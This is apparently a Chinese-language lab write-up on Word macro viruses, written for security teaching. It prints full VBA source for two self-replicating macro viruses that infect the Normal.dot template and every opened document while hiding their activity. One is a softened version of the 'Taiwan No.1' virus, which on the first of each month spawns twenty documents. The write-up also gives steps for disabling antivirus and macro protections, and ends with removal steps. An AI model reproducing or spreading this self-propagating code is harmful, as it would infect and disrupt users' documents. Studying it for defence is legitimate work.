Word宏病毒实验

Word宏病毒实验

  1. 实验目的

Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。

  1. 实验所需条件和环境

硬件设备:局域网,终端PC机。

系统软件:Windows系列操作系统

支撑软件:Word 2003

软件设置:关闭杀毒软;打开Word 2003,在工具à宏à安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问

实验环境配置如下图所示:

宏病毒传播示意图

  1. 实验内容和分析

为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

    1. 例1 自我复制,感染word公用模板和当前文档

代码如下:

'Micro-Virus

Sub Document_Open()

On Error Resume Next

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)

Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

MsgBox "MicroVirus by Content Security Lab"

End Sub

打开一个word文档,然后按Alt+F11调用宏编写窗口(工具à宏àVisual Basicà宏编辑器),在左侧的project--->Microsoft Word对象àThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

      1. 代码解释

以上代码的基本执行流程如下:

  1. 进行必要的自我保护

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。

  1. 得到当前文档的代码对象和公用模板的代码对象

Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)

Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

  1. 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

  1. 执行恶意代码

MsgBox "MicroVirus by Content Security Lab"

    1. 例2 具有一定破坏性的宏

我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒"台湾一号"的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。

完整代码如下:

'moonlight

Dim nm(4)

Sub Document_Open()

'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'moonlight" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 3, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 3, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

Count = 0

If Day(Now()) = 1 Then

try:

On Error GoTo try

test = -1

con = 1

tog$ = ""

i = 0

While test = -1

For i = 0 To 4

nm(i) = Int(Rnd() * 10)

con = con * nm(i)

If i = 4 Then

tog$ = tog$ + Str$(nm(4)) + "=?"

GoTo beg

End If

tog$ = tog$ + Str$(nm(i)) + "*"

Next i

beg:

Beep

ans$ = InputBox("今天是" + Date + ",跟你玩一个心算游戏" + Chr(13) + "若你答错,只好接受震撼教育......" + Chr(13) + tog$, "台湾NO.1 Macro Virus")

If RTrim(LTrim(ans)) = LTrim(Str$(con)) Then

Documents.Add

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Beep

With Selection.Font

.Name = "细明体"

.Size = 16

.Bold = 1

.Underline = 1

End With

Selection.InsertAfter Text:="何谓宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案:"

Selection.Font.Italic = 1

Selection.InsertAfter Text:="我就是......"

Selection.InsertParagraphAfter

Selection.InsertParagraphAfter

Selection.Font.Italic = 0

Beep

Selection.InsertAfter Text:="如何预防宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案:"

Selection.Font.Italic = 1

Selection.InsertAfter Text:="不要看我......"

GoTo out

Else

Count = Count + 1

For j = 1 To 20

Beep

Documents.Add

Next j

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Selection.InsertAfter Text:="宏病毒"

If Count = 2 Then GoTo out

GoTo try

End If

Wend

End If

out:

End Sub

该病毒的效果如下:当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:

++何谓宏病毒++

++答案:我就是......++

++如何预防宏病毒++

++答案:不要看我......++

如果计算错误,新建20个写有"宏病毒"字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执行同样的询问。

  1. 清除宏病毒

对每一个受感染的word文档进行如下操作。

打开受感染的word文档,进入宏编辑环境(Alt+F11),打开NormalàMicrosoft Word对象àThis Document,清除其中的病毒代码(只要删除所有内容即可)。

然后打开ProjectàMicrosoft WordàThis Document,清除其中的病毒代码。

实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,都进行一次清除。

相关推荐
rkmhr_sef8 小时前
Redis 下载与安装 教程 windows版
数据库·windows·redis
@_@哆啦A梦8 小时前
windows怎样查看系统信息(处理器等)
windows
落落落sss11 小时前
MongoDB
数据库·windows·redis·mongodb·微服务·wpf
黄铎彦11 小时前
使用GDI+、文件和目录和打印API,批量将图片按文件名分组打包成PDF
c++·windows·pdf
比花花解语18 小时前
Kafka在Windows系统使用delete命令删除Topic时出现的问题
windows·分布式·kafka
rainmanqqst18 小时前
耀世16Pro鼠标卡顿
windows
早起的年轻人20 小时前
Java List 自定义对象排序 Java 8 及以上版本使用 Stream API
java·windows·list
专注VB编程开发20年1 天前
除了 EasyXLS,加载和显示.xlsx 格式的excel表格,并支持单元格背景色、边框线颜色和粗细等格式化特性
c++·windows·excel·mfc·xlsx
Natsuagin1 天前
轻松美化双系统启动界面与同步时间设置(Windows + Ubuntu)
linux·windows·ubuntu·grub
xing.yu.CTF1 天前
Web入侵实战分析-常见web攻击类应急处置实验2
运维·服务器·windows·web安全·apache·php漏洞·phpstudy后门漏洞